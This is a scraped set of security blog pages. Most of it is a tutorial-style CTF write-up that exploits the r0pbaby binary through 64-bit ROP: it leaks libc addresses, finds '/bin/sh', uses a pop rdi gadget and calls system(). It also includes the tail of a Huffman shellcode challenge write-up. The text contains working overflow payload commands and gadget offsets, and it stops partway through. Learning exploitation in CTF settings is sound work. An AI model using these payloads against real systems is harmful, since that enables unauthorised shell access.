    $ echo -ne '\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in
    

    Binary Encoded:

    hello world, this is my shellcode!""""""33333333DDDDDDDDEUUUUUUUUwwwwww????????????????????????????????????????????????????????????????????????
    Executing encoded input...
    Segmentation fault
    

    That's better! It decoded it properly thanks to my little hack! Not let's try my two favourite test strings, "\xcd\x03" (debug breakpoint, can also use "\xcc") and "\xeb\xfe" (infinite loop):

    $ ruby ./sploit.rb
    echo -ne '\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a' > in; ./huffy < in
    
    $ echo -ne '\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a' > in; ./huffy < in
    Binary Encoded:
    ?Eg???
    Executing encoded input...
    Trace/breakpoint trap
    
    $ ruby ./sploit.rb
    echo -ne '\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda' > in; ./huffy < in
    
    $ echo -ne '\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda' > in; ./huffy < in
    Binary Encoded:
    ??"3DUfw??????
    Executing encoded input...
    [...infinite loop...]
    

    At this point, I had run out of time (damn you timezones!) and didn't finish up.

    Summary

    This was, as I mentioned, a pretty straight forward Huffman-Tree level.

    It compresses your input, nibble-by-nibble, and runs the result.

    I gave it some input to ensure the tree is balanced, where each nibble produces 4 bits, then we encoded the shellcode as such.

    When I realized I was getting the wrong output, rather than reversing the bit strings, which I hadn't realize were backwards until just now, I made a little table to translate them correctly.

    Then we encode the shellcode, and we win!

    The last step would be to find appropriate shellcode, pad the message to always be 1024 nibbles (like the server wants), and send it off!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### April » 2013 » SkullSecurity

    Epic “cnot” Writeup (highest value level from PlaidCTF)

    When I was at Shmoocon, I saw a talk about how to write an effective capture-the-flag contest. One of their suggestions was to have a tar-pit challenge that would waste all the time of the best player, by giving him a complicated challenge he won't be able to resist. In my opinion, in PlaidCTF, I […]

    #####EOF##### February » 2010 » SkullSecurity

    DNS Backdoors with dnscat

    Hey all, I'm really excited to announce the first release of a tool I've put a lot of hard work into: dnscat. It's being released, along with a bunch of other tools that I'll be blogging about, as part of nbtool 0.04.

    Site changes

    Hey all, Just a quick note -- I updated my blog template a bit. On the right, I added some new links and I added some info about myself at the top. I also added "previous" and "next" links above the posts. Hopefully these changes make it easier to get around. Let me know if […]

    How-to: install an Nmap script

    Hey all, I often find myself explaining to people how to install a script that isn't included in Nmap. Rather than write it over and over, this is a quick tutorial.

    #####EOF##### Defcon Quals: r0pbaby (simple 64-bit ROP) » SkullSecurity


    Defcon Quals: r0pbaby (simple 64-bit ROP)

    This past weekend I competed in the Defcon CTF Qualifiers from the Legit Business Syndicate. In the past it's been one of my favourite competitions, and this year was no exception!

    Unfortunately, I got stuck for quite a long time on a 2-point problem ("wwtw") and spent most of my weekend on it. But I did do a few others - r0pbaby included - and am excited to write about them, as well!

    r0pbaby is neat, because it's an absolute bare-bones ROP (return-oriented programming) level. Quite honestly, when it makes sense, I actually prefer using a ROP chain to using shellcode. Much of the time, it's actually easier! You can see the binary, my solution, and other stuff I used on this github repo.

    It might make sense to read a post I made in 2013 about a level in PlaidCTF called ropasaurusrex. But it's not really necessary - I'm going to explain the same stuff again with two years more experience!

    What is ROP?

    Most modern systems have DEP - data execution prevention - enabled. That means that when trying to run arbitrary code, the code has be in memory that's executable. Typically, when a process is running, all memory segments are either writable (+w) or executable (+x) - not both. That's sometimes called "W^X", but it seems more appropriate to just call it common sense.

    ROP - return-oriented programming - is an exploitation technique that bypasses DEP. It does that by chaining together legitimate code that's already in executable memory. This requires the attacker to either a) have complete control of the stack, or b) have control of rip/eip (the instruction pointer register) and the ability to change esp/rsp (the stack pointer) to point to another buffer.

    As a quick example, let's say you overwrite the return address of a vulnerable function with the address of libc's sleep() function. When the vulnerable function attempts to return, instead of returning to where it's supposed to (or returning to shellcode), it'll return to the first line of sleep().

    On a 32-bit system, sleep() will look at the next-to-next value on the stack to find out how long to sleep(). On a 64-bit system, it'll look at the value of the rdi register for its argument, which is a little more elaborate to set up. When it's done, it'll return to the next value on the stack on both architectures, which could very well be another function.

    So basically, sleep() expects its stack to look like on 32-bit:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |         1000         | <-- sleep() looks here for its param (on 32-bit)
    +----------------------+
    |     [return addr]    | <-- where esp will be when sleep() is entered
    +----------------------+
    |    [sleep's  addr]   | <-- return addr of previous function
    +----------------------+
    |...lower addresses....| <-- other data from previous function
    +----------------------+
    

    And on 64-bit:

    +----------------------+
    |...higher addresses...|
    +----------------------+ <-- sleep()'s param is in rdi, so it's not needed here
    |     [return addr]    | <-- where rsp will be when sleep() is entered
    +----------------------+
    |    [sleep's  addr]   | <-- return addr of previous function
    +----------------------+
    |...lower addresses....| <-- other data from previous function
    +----------------------+
    

    We'll dive into deeper detail of how to set this up and see way more stack diagrams shortly. But let's start from the beginning!

    Taking a first look

    When you run r0pbaby, or connect to their service, you will see a prompt (the program uses stdin/stdout for i/o):

    $ ./r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    :
    

    It's worthwhile messing with the options a bit to get a feel for it:

    $ ./r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 1
    libc.so.6: 0x00007FFFF7FF8B28
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 2
    Enter symbol: system
    Symbol system: 0x00007FFFF7883960
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 2
    Enter symbol: printf
    Symbol printf: 0x00007FFFF7892F10
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 3
    Enter bytes to send (max 1024): hello???
    Invalid amount.
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    :
    

    We'll look at option 3 more in a little while, but for now let's take a quick look at options 1 and 2. The rest of this section isn't directly applicable to the exploitation stuff, so you're free to skip it if you want. :)

    If you look at the results from option 1 and option 2, you'll see one strange thing: the return from "Get libc address" is higher than the addresses of printf() and system(). It also isn't page aligned (a multiple of 0x1000 (4096), usually), so it almost certainly isn't actually the base address (which, in fairness, the level doesn't explicitly say it is).

    I messed around a bit out of curiosity. Here's what I discovered...

    First, run the program in gdb and get the address that they claim is libc:

    $ gdb -q ./r0pbaby
    Reading symbols from ./r0pbaby...(no debugging symbols found)...done.
    (gdb) run
    Starting program: /home/ron/defcon-quals/r0pbaby/r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 1
    libc.so.6: 0x00007FFFF7FF8B28
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    

    So that's what it returns: 0x00007FFFF7FF8B28. Now we use ctrl-c to break into the debugger and figure out the real base address:

    : ^C
    Program received signal SIGINT, Interrupt.
    0x00007ffff791e5e0 in __read_nocancel () from /lib64/libc.so.6
    (gdb) info proc map
    process 5475
    Mapped address spaces:
    
              Start Addr           End Addr       Size     Offset objfile
          0x555555554000     0x555555556000     0x2000        0x0 /home/ron/defcon-quals/r0pbaby/r0pbaby
          0x555555755000     0x555555757000     0x2000     0x1000 /home/ron/defcon-quals/r0pbaby/r0pbaby
          0x555555757000     0x555555778000    0x21000        0x0 [heap]
          0x7ffff7842000     0x7ffff79cf000   0x18d000        0x0 /lib64/libc-2.20.so
          0x7ffff79cf000     0x7ffff7bce000   0x1ff000   0x18d000 /lib64/libc-2.20.so
          0x7ffff7bce000     0x7ffff7bd2000     0x4000   0x18c000 /lib64/libc-2.20.so
          0x7ffff7bd2000     0x7ffff7bd4000     0x2000   0x190000 /lib64/libc-2.20.so
    [...]
    

    This tells us that the actual address where libc is loaded is 0x7ffff7842000. Theirs was definitely wrong!

    On a Linux system, the first 4 bytes at the base address will usually be "\x7fELF" or "\x7f\x45\x4c\x46". We can check the first four bytes at the actual base address to verify:

    (gdb) x/8xb 0x7ffff7842000
    0x7ffff7842000: 0x7f    0x45    0x4c    0x46    0x02    0x01    0x01    0x00
    (gdb) x/8xc 0x7ffff7842000
    0x7ffff7842000: 127 '\177'      69 'E'  76 'L'  70 'F'  2 '\002'        1 '\001'        1 '\001'        0 '\000'
    

    And we can check the base address that the program tells us:

    (gdb) x/8xb 0x00007FFFF7FF8B28
    0x7ffff7ff8b28: 0x00    0x20    0x84    0xf7    0xff    0x7f    0x00    0x00
    

    From experience, that looks like a 64-bit address to me (6 bytes long, starts with 0x7f if you read it in little endian), so I tried print it as a 64-bit value:

    (gdb) x/xg 0x00007FFFF7FF8B28
    0x7ffff7ff8b28: 0x00007ffff7842000
    

    Aha! It's a pointer to the actual base address! It seems a little odd to send that to the user, it does them basically no good, so I'll assume that it's a bug. :)

    Stealing libc

    If there's one thing I hate, it's attacking a level blind. Based on the output so far, it's pretty clear that they're going to want us to call a libc function, but they don't actually give us a copy of libc.so! While it's not strictly necessary, having a copy of libc.so makes this far easier.

    I'll post more details about how and why to steal libc in a future post, but for now, suffice to stay: if you can, beat the easiest 64-bit level first (like babycmd) and liberate a copy of libc.so. Also snag a 32-bit version of libc if you can find one. Believe me, you'll be thankful for it later! To make it possible to follow the rest of this post, here's libc-2.19.so from babycmd and here's libc-2.20.so from my box, which is the one I'll use for this writeup.

    You might be wondering how to verify whether or not that actually IS the right library. For now, let's consider that to be homework. I'll be writing more about that in the future, I promise!

    Find a crash

    I played around with option 3 for awhile, but it kept giving me a length error. So I used the best approach for annoying CTF problems: I asked a teammate who'd already solved that problem. He'd reverse engineered the function already, saving me the trouble. :)

    It turns out that the correct way to format things is by sending a length, then a newline, then the payload:

    $ ./r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 3
    Enter bytes to send (max 1024): 20
    AAAAAAAAAAAAAAAAAAAA
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : Bad choice.
    Segmentation fault
    

    Well, that may be one of the easiest ways I've gotten a segfault! But the work isn't quite done. :)

    rip control

    Our first goal is going to be to get control of rip (that's like eip, the instruction pointer, but on a 64-bit system). As you probably know by now, rip is the register that points to the current instruction being executed. If we move it, different code runs. The classic attack is to move eip to point at shellcode, but ROP is different. We want to carefully control rip to make sure it winds up in all the right places.

    But first, let's non-carefully control it!

    The program indicates that it's writing the r0p buffer to the stack, so the easiest thing to do is probably to start throwing stuff into the buffer to see what happens. I like to send a string with a series of values I'll recognize in a debugger. Since it's a 64-bit app, I send 8 "A"s, 8 "B"s, and so on. If it doesn't crash. I send more.

    $ gdb -q ./r0pbaby
    (gdb) run
    
    [...]
    
    : 3
    Enter bytes to send (max 1024): 32
    AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : Bad choice.
    
    Program received signal SIGSEGV, Segmentation fault.
    0x0000555555554eb3 in ?? ()
    

    All right, it crashes at 0x0000555555554eb3. Let's take a look at what lives at the current instruction (pro-tip: "x/i $rip" or equivalent is basically always the first thing I run on any crash I'm investigating):

    (gdb) x/i $rip
    => 0x555555554eb3:      ret
    

    It's crashing while attempting to return! That generally only happens when either the stack pointer is messed up...

    (gdb) print/x $rsp
    $1 = 0x7fffffffd918
    

    ...which it doesn't appear to be, or when it's trying to return to a bad address...

    (gdb) x/xg $rsp
    0x7fffffffd918: 0x4242424242424242
    

    ...which it is! It's trying to return to 0x4242424242424242 ("BBBBBBBB"), which is an illegal address (the first two bytes have to be zero on a 64-bit system).

    We can confirm this, and also prove to ourselves that NUL bytes are allowed in the input, by sending a couple of NUL bytes. I'm switching to using 'echo' on the commandline now, so I can easily add NUL bytes (keep in mind that because of little endian, the NUL bytes have to go after the "B"s, not before):

    $ ulimit -c unlimited
    $ echo -ne '3\n32\nAAAAAAAABBBBBB\0\0CCCCCCCCDDDDDDDD\n' | ./r0pbaby
    [...]
    Segmentation fault (core dumped)
    $ gdb ./r0pbaby ./core
    [...]
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x0000424242424242 in ?? ()
    

    Now we can see that rip was successfully set to 0x0000424242424242 ("BBBBBB\0\0" because of little endian)!

    How's the stack work again?

    As I said at the start, reading my post about ropasaurusrex would be a good way to get acquainted with ROP exploits. If you're pretty comfortable with stacks or you've recently read/understood that post, feel free to skip this section!

    Let's start by talking about 32-bit systems - where parameters are passed on the stack instead of in registers. I'll explain how to deal with register parameters in 64-bit below.

    Okay, so: a program's stack is a run-time structure that holds temporary values that functions need. Things like the parameters, the local variables, the return address, and other stuff. When a function is called, it allocates itself some space on the stack by growing downward (towards lower memory addresses) When the function returns, the data's all removed from the stack (it's not actually wiped from memory, it just becomes free to get overwritten). The register rsp always points to the most recent thing pushed to the stack and the next thing that would be popped off the stack.

    Let's use sleep() as an example again. You call sleep() like this:

    1: push 1000
    2: call sleep
    

    or like this:

    1. mov [esp], 1000
    2: call sleep
    

    They're identical, as far as sleep() is concerned. The first is a tiny bit more memory efficient and the second is a tiny bit faster, but that's about it.

    Before line 1, we don't know or care what's on the stack. We can look at it like this (I'm choosing completely arbitrary addresses so you can match up diagrams with each other):

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x1040 |     (irrelevant)     |
           +----------------------+
    0x103c |     (irrelevant)     |
           +----------------------+
    0x1038 |     (irrelevant)     | <-- rsp
           +----------------------+
    0x1034 |       (unused)       |
           +----------------------+
    0x1030 |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    Values lower than rsp are unused. That means that as far as the stack's concerned, they're unallocated. They might be zero, or they might contain values from previous function calls. In a properly working system, they're never read. If they're accidentally used (like if somebody declares a variable but forgets to initialize it), you could wind up with a use-after-free vulnerability or similar.

    The value that rsp is pointing to and the values above it (at higher addresses) also don't really matter. They're part of the stack frame for the function that's calling sleep(), and sleep() doesn't care about those. It only cares about its own stack frame (a stack frame, as we'll see, is the parameters, return address, saved registers, and local variables of a function - basically, everything the function stores on the stack and everything it cares about on the stack).

    Line 1 pushes 1000 onto the stack. The frame will then look like this:

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x103c |     (irrelevant)     |
           +----------------------+
    0x1038 |     (irrelevant)     | <-- stuff from the previous function
           +----------------------+
           +----------------------+ <-- start of sleep()'s stack frame
    0x1034 |         1000         | <-- rsp
           +----------------------+
    0x1030 |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    When you call the function at line 2, it pushes the return address onto the stack, like this:

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x1038 |     (irrelevant)     |
           +----------------------+
           +----------------------+ <-- start of sleep()'s stack frame
    0x1034 |         1000         |
           +----------------------+
    0x1030 |     [return addr]    | <-- rsp
           +----------------------+
    0x102c |       (unused)       |
           +----------------------+
    0x1028 |       (unused)       |
           +----------------------+
    0x1024 |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    Note how rsp has moved from 0x1038 to 0x1034 to 0x1030 as stuff is added to the stack. But it always points to the last thing added!

    Let's look at how sleep() might be implemented. This is a very common function prelude:

    100; sleep():
    101: push rbp
    102: mov rbp, rsp
    103: sub rsp, 0x20
    104: ...everything else...

    (Note that those are line numbers for reference, not actual addresses, so please don't get upset that the values don't increment enough :) )

    At line 100, the old frame pointer is saved to the stack:

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x1038 |     (irrelevant)     |
           +----------------------+
           +----------------------+ <-- start of sleep()'s stack frame
    0x1034 |         1000         |
           +----------------------+
    0x1030 |     [return addr]    |
           +----------------------+
    0x102c |     [saved frame]    | <-- rsp
           +----------------------+
    0x1028 |       (unused)       |
           +----------------------+
    0x1024 |       (unused)       |
           +----------------------+
    0x1020 |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    Then at line 102, nothing on the stack changes. On line 103, 0x20 is subtracted from esp, which effectively reserves 0x20 (32) bytes for local variables:

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x1038 |     (irrelevant)     |
           +----------------------+
           +----------------------+ <-- start of sleep()'s stack frame
    0x1034 |         1000         |
           +----------------------+
    0x1030 |     [return addr]    |
           +----------------------+
    0x102c |     [saved frame]    |
           +----------------------+
           |                      |
    0x1028 |                      |
       -   |     [local vars]     | <-- rsp
    0x1008 |                      |
           |                      |
           +----------------------+ <-- end of sleep()'s stack frame
           +----------------------+
    0x1004 |       (unused)       |
           +----------------------+
    0x1000 |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    And that's the entire stack frame for the sleep(0 function call! It's possible that there are other registers preserved on the stack, in addition to rbp, but that doesn't really change anything. We only care about the parameters and the return address.

    If sleep() calls a function, the same process will happen:

           +----------------------+
           |...higher addresses...|
           +----------------------+
    0x1038 |     (irrelevant)     |
           +----------------------+
           +----------------------+ <-- start of sleep()'s stack frame
    0x1034 |         1000         |
           +----------------------+
    0x1030 |     [return addr]    |
           +----------------------+
    0x102c |     [saved frame]    |
           +----------------------+
           |                      |
    0x1028 |                      |
       -   |     [local vars]     |
    0x1008 |                      |
           |                      |
           +----------------------+ <-- end of sleep()'s stack frame
           +----------------------+ <-- start of next function's stack frame
    0x1004 |       [params]       |
           +----------------------+
    0x1000 |     [return addr]    |
           +----------------------+
    0x0ffc |     [saved frame]    |
           +----------------------+
           |                      |
    0x0ffc |                      |
       -   |     [local vars]     |
    0x0fb4 |                      |
           |                      |
           +----------------------+ <-- end of next function's stack frame
           +----------------------+
    0x0fb0 |       (unused)       |
           +----------------------+
    0x0fac |       (unused)       |
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    And so on, with the stack constantly growing towards lower addresses. When the function returns, the same thing happens in reverse order (the local vars are removed from the stack by adding to rsp (or replacing it with rbp), rbp is popped off the stack, and the return address is popped and returned to).

    The parameters are cleared off the stack by either the caller or callee, depending on the compiler, but that won't come into play for this writeup. However, when ROP is used to call multiple functions, unless the function clean up their own parameters off the stack, the exploit developer has to do it themselves. Typically, on Windows functions clean up after themselves but on other OSes they don't (but you can't rely on that). This is done by using a "pop ret", "pop pop ret", etc., after each function call. See my ropasaurusrex writeup for more details.

    Enter: 64-bit

    The fact that this level is 64-bit complicates things in important ways (and ways that I always seem to forget about till things don't work).

    Specifically, in 64-bit, the first handful of parameters to a function are passed in registers, not on the stack. I don't have the order of registers memorized - I forget it after every CTF, along with whether ja/jb or jl/jg are the unsigned ones - but the first two are rdi and rsi. That means that to call the same sleep() function on 64-bit, we'd have this code instead:

    1: mov rdi, 1000
    2: call sleep
    

    And its stack frame would look like this:

           +----------------------+
           |...higher addresses...|
           +----------------------+ <-- start of previous function's stack frame
           +----------------------+ <-- start of sleep()'s stack frame
    0x1030 |     [return addr]    |
           +----------------------+
    0x102c |     [saved frame]    |
           +----------------------+
           |                      |
    0x1028 |                      |
       -   |     [local vars]     |
    0x1008 |                      |
           |                      |
           +----------------------+ <-- end of sleep()'s stack frame
           +----------------------+
           |...lower addresses....|
           +----------------------+
    

    No parameters, just the return address, saved frame pointer, and local variables. It's exceedingly rare for the stack to be used for parameters on 64-bit.

    Stacks: the important bit

    Okay, so that's a stack frame. A stack frame contains parameters, return address, saved registers, and local variables. On 64-bit, it usually contains the return address, saved registers, and local variables (no parameters).

    But here's the thing: when you enter a function - that is to say, when you start running the first line of the function - the function doesn't really know where you came from. I mean, not really. It knows the return address that's on the stack, but doesn't really have a way to validate that it's real (except with advanced exploitation mitigations). It also knows that there are some parameters right before (at higher addresses than) the return address, if it's 32-bit. Or that rdi/rsi/etc. contain parameters if it's 64-bit.

    So let's say you overwrote the return address on the stack and returned to the first line of sleep(). What's it going to do?

    As we saw, on 64-bit, sleep() expects its stack frame to contain a return address:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    +----------------------+ <-- start of sleep()'s stack frame
    |     [return addr]    | <-- rsp
    +----------------------+
    |     (unallocated)    |
    +----------------------+
    |...lower addressess...|
    +----------------------+
    

    sleep() will push some registers, make room for local variables, and really just do its own thing. When it's all done, it'll grab the return address from the stack, return to it, and somebody will move rsp back to the calling function's stack frame (it, getting rid of the parameters from the stack).

    Using system()

    Because this level uses stdout and stdin for i/o, all we really have to do is make this call:

    system("/bin/sh")
    

    Then we can run arbitrary commands. Seems pretty simple, eh? We don't even care where system() returns to, once it's done the program can just crash!

    You just have to do two things:

    1. set rip to the address of system()
    2. set rdi to a pointer to the string "/bin/sh" (or just "sh" if you prefer)

    Setting rip to the address of system() is easy. We have the address of system() and we have rip control, as we discovered. It's just a matter of grabbing the address of system() and using that in the overflow.

    Setting rdi to the pointer to "/bin/sh" is a little more problematic, though. First, we need to find the address of "/bin/sh" somehow. Then we need a "gadget" to put it in rdi. A "gadget", in ROP, refers to a small piece of code that performs an operation then returns.

    It turns out, all of the above can be easily done by using a copy of libc.so. Remember how I told you it'd come in handy?

    Finding "/bin/sh"

    So, this is actually pretty easy. We need to find "/bin/sh" given a) the ability to leak an address in libc.so (which this program does by design), and b) a copy of libc.so. Even with ASLR turned on, any two addresses within the same binary (like within libc.so or within the binary itself) won't change their relative positions to each other. Addresses in two different binaries will likely be different, though.

    If you fire up IDA, and go to the "strings" tab (shift-F12), you can search for "/bin/sh". You'll see that "/bin/sh" will have an address something like 0x7ffff6aa307c.

    Alternatively, you can use this gdb command (helpfully supplied by bla from io.sts):

    (gdb) find /b 0x7ffff7842000,0x7ffff7bd4000, '/','b','i','n','/','s','h'
    0x7ffff79a307c
    warning: Unable to access 16000 bytes of target memory at 0x7ffff79d5d03, halting search.
    1 pattern found.
    (gdb) x/s 0x7ffff79a307c
    0x7ffff79a307c: "/bin/sh"
    

    Once you've obtained the address of "/bin/sh", find the address of any libc function - we'll use system(), since system() will come in handy later. The address will be something like 0x00007ffff6983960. If you subtract the two addresses, you'll discover that the address of "/bin/sh" is 0x11f71c bytes after the address of system(). As I said earlier, that won't change, so we can reliably use that in our exploit.

    Now when you run the program:

    $ ./r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : 2
    Enter symbol: system
    Symbol system: 0x00007FFFF7883960
    

    You can easily calculate that the address of the string "/bin/sh" will be at 0x00007ffff7883960 + 0x11f71c = 0x7ffff79a307c.

    Getting "/bin/sh" into rdi

    The next thing you'll want to do is put "/bin/sh" into rdi. We can do that in two steps (recall that we have control of the stack - it's the point of the level):

    1. Put it on the stack
    2. Find a "pop rdi" gadget

    To do this, I literally searched for "pop rdi" in IDA. With the spaces and everything! :)

    I found this in both my own copy of libc and the one I stole from babycmd:

    .text:00007FFFF80E1DF1                 pop     rax
    .text:00007FFFF80E1DF2                 pop     rdi
    .text:00007FFFF80E1DF3                 call    rax
    

    What a beautiful sequence! It pops the next value of the stack into rax, pops the next value into rdi, and calls rax. So it calls an address from the stack with a parameter read from the stack. It's such a lovely gadget! I was surprised and excited to find it, though I'm sure every other CTF team already knew about it. :)

    The absolute address that IDA gives us is 0x00007ffff80e1df1, but just like the "/bin/sh" string, the address relative to the rest of the binary never changes. If you subtract the address of system() from that address, you'll get 0xa7969 (on my copy of libc).

    Let's look at an example of what's actually going on when we call that gadget. You're at the end of main() and getting ready to return. rsp is pointing to what it thinks is the return address, but is really "BBBBBBBB"-now-gadget_addr:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |       DDDDDDDD       |
    +----------------------+
    |       CCCCCCCC       |
    +----------------------+
    |  0x00007ffff80e1df1  | <-- rsp
    +----------------------+
    |       AAAAAAAA       |
    +----------------------+
    |...lower addresses....|
    +----------------------+
    

    When the return happens, it looks like this:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |       DDDDDDDD       |
    +----------------------+
    |       CCCCCCCC       | <-- rsp
    +----------------------+
    |  0x00007FFFF80E1DF1  |
    +----------------------+
    |       AAAAAAAA       |
    +----------------------+
    |...lower addresses....|
    +----------------------+
    

    The first instruction - pop rax - runs. rax is now 0x4343434343434343 ("CCCCCCCC").

    The second instruction - pop rdi - runs. rdi is now 0x4444444444444444 ("DDDDDDDD").

    Then the final instruction - call rax - is called. It'll attempt to call 0x4343434343434343, with 0x4444444444444444 as its parameter, and crash. Controlling both the called address and the parameter is a huge win!

    Putting it all together

    I realize this is a lot to take in if you can't read stacks backwards and forwards (trust me, I frequently read stacks backwards - in fact, I wrote this entire blog post with upside-down stacks before I noticed and had to go back and fix it! :) ).

    Here's what we have:

    • The ability to write up to 1024 bytes onto the stack
    • The ability to get the address of system()
    • The ability to get the address of "/bin/sh", based on the address of system()
    • The ability to get the address of a sexy gadget, also based on system(), that'll call something from the stack with a parameter from the stack

    We're overflowing a local variable in main(). Immediately before our overflow, this is what main()'s stack frame probably looks like:

    +----------------------+
    |...higher addresses...|
    +----------------------+ <-- start of main()'s stack frame
    |         argv         |
    +----------------------+
    |         argc         |
    +----------------------+
    |     [return addr]    | <-- return address of main()
    +----------------------+
    |     [saved frame]    | <-- overflowable variable must start here
    +----------------------+
    |                      |
    |                      |
    |     [local vars]     | <-- rsp
    |                      |
    |                      |
    +----------------------+ <-- end of main()'s stack frame
    |...lower addresses....|
    +----------------------+
    

    Because you only get 8 bytes before you hit the return address, the first 8 bytes are probably overwriting the saved frame pointer (or whatever, it doesn't really matter, but you can prove it's the frame pointer by using a debugger and verifying that rbp is 0x4141414141414141 after it returns (it is)).

    The main thing is, as we saw earlier, if you send the string "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD", the "BBBBBBBB" winds up as main()'s return address. That means the stack winds up looking like this before main() starts cleaning up its stack frame:

    +----------------------+
    |...higher addresses...|
    +----------------------+ <-- WAS the start of main()'s stack frame
    |       DDDDDDDD       |
    +----------------------+
    |       CCCCCCCC       |
    +----------------------+
    |       BBBBBBBB       | <-- return address of main()
    +----------------------+
    |       AAAAAAAA       | <-- overflowable variable must start here
    +----------------------+
    |                      |
    |                      |
    |     [local vars]     |
    |                      |
    |                      | <-- rsp
    +----------------------+ <-- end of main()'s stack frame
    |...lower addresses....|
    +----------------------+
    

    When main attempts to return, it tries to return to 0x4242424242424242 as we saw earlier, and it crashes.

    Now, one thing we can do is return directly to system(). But your guess is as good as mine as to what's in rdi, but you can bet it's not going to be "/bin/sh". So instead, we return to our gadget:

    +----------------------+
    |...higher addresses...|
    +----------------------+ <-- start of main()'s stack frame
    |       DDDDDDDD       |
    +----------------------+
    |       CCCCCCCC       |
    +----------------------+
    |     gadget_addr      | <-- return address of main()
    +----------------------+
    |       AAAAAAAA       | <-- overflowable variable must start here
    +----------------------+
    |                      |
    |                      |
    |     [local vars]     |
    |                      |
    |                      | <-- rsp
    +----------------------+ <-- end of main()'s stack frame
    |...lower addresses....|
    +----------------------+
    

    Since I have ASLR off on my computer (if you do turn it off, please make sure you turn it back on!), I can pre-compute the addresses I need.

    Symbol system: 0x00007FFFF7883960 (from the program)

    sh_addr = system_addr + 0x11f71c
    sh_addr = 0x00007ffff7883960 + 0x11f71c
    sh_addr = 0x7ffff79a307c

    gadget_addr = system_addr + 0xa7969
    gadget_addr = 0x00007ffff7883960 + 0xa7969
    gadget_addr = 0x7ffff792b2c9

    So now, let's change the exploit we used to crash it a long time ago (we replace the "B"s with the address of our gadget, in little endian format:

    $ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00CCCCCCCCDDDDDDDD\n' | ./r0pbaby
    Welcome to an easy Return Oriented Programming challenge...
    [...]
    Menu:
    Segmentation fault (core dumped)
    

    Great! It crashed as expected! Let's take a look at HOW it crashed:

    $ gdb -q ./r0pbaby ./core
    Core was generated by `./r0pbaby'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x00007ffff792b2cb in clone () from /lib64/libc.so.6
    (gdb) x/i $rip
    => 0x7ffff792b2cb :  call   rax
    

    It crashed on the call at the end of the gadget, which makes sense! Let's check out what it's trying to call and what it's using as a parameter:

    (gdb) print/x $rax
    $1 = 0x4343434343434343
    (gdb) print/x $rdi
    $2 = 0x4444444444444444
    

    It's trying to call "CCCCCCCC" with the parameter "DDDDDDDD". Awesome! Let's try it again, but this time we'll plug in our sh_address in place of "DDDDDDDD" to make sure that's working (I strongly believe in incremental testing :) ):

